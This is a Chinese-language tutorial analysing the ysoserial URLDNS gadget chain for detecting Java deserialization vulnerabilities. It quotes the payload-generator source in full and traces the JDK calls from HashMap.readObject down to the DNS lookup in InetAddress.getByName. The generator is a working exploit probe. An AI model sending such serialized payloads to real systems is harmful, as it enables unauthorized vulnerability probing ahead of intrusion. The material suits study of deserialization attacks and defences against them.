URLDNS 是 ysoserial 中一个非常适合检测是否存在反序列化漏洞存在的利用链,因为它具有下述俩个优点
- 使⽤ Java 内置的类构造,对第三⽅库没有依赖
- 在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞
下面是 ysoserial 内 URLDNS 的代码
java
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
// 避免在负载创建期间进行 DNS 解析
// 由于字段 <code>java.net.URL.handler</code> 是瞬态的,它将不包含在序列化的负载中。
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap 将包含 URL
URL u = new URL(null, url, handler); // 用作键的 URL
ht.put(u, url); // 值可以是任何可序列化的对象,使用 URL 作为键会触发 DNS 查找。
Reflections.setFieldValue(u, "hashCode", -1); // 在上面的 put 操作中,URL 的 hashCode 被计算并缓存。此操作重置 hashCode,以便下次调用时触发 DNS 查找。
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p > 这个 URLStreamHandler 的实例用于在创建 URL 实例时避免任何 DNS 解析。
* DNS 解析用于漏洞检测。在使用序列化对象之前,不应探测给定的 URL。</p>
*
* <b > 潜在的假阴性:</b>
* <p > 如果 DNS 名称首先从测试计算机解析,目标服务器在第二次解析时可能会获得缓存命中。</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}触发点 HashMap#readObject
java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt();
int mappings = s.readInt();
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) {
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();// 此处获取 key,进入下面的 hash (key)
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);// 调用了 hash (key)
}
}
}在最后一行 putVal (hash (key), key, value, false, false); 调用了 hash (key),跳转去看 hash () 的实现
java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);// 调用了 key.hashCode ()
}调用了 key.hashCode (),而 key 来自于 hashMap.readObject () 内读取的对象。在 URLDNS 中使⽤的这个 key 是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法:
java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);// 调用了 handler.hashCode (this);
return hashCode;
}调用了 handler.hashCode (this); 而在 URLDNS 利用链中 handler 是 URLStreamHandler 类型,跳转去看在这里面 hashCode 的实现
java
protected int hashCode(URL u) {
int h = 0;
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
InetAddress addr = getHostAddress(u);//getHostAddress(u);
/* 中间无关代码省略 */
return h;
}可以明显看到里面执行了 getHostAddress (u); 跳转去看实现
java
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);// 根据主机名获取 IP,即进行一次 DNS 解析
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}那么可以明显看到最终是在 InetAddress.getByName (host); 这个地方触发 DNS 解析从而进行判断是否存在反序列化漏洞
调用链
- HashMap->readObject()
- HashMap->hash()
- java.net.URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress.getByName()
而要构造这个 Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap 中;注意要设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时才会重新计算其 hashCode ,才能触发到后⾯的 DNS 请求,否则不会调⽤ URL->hashCode () 。
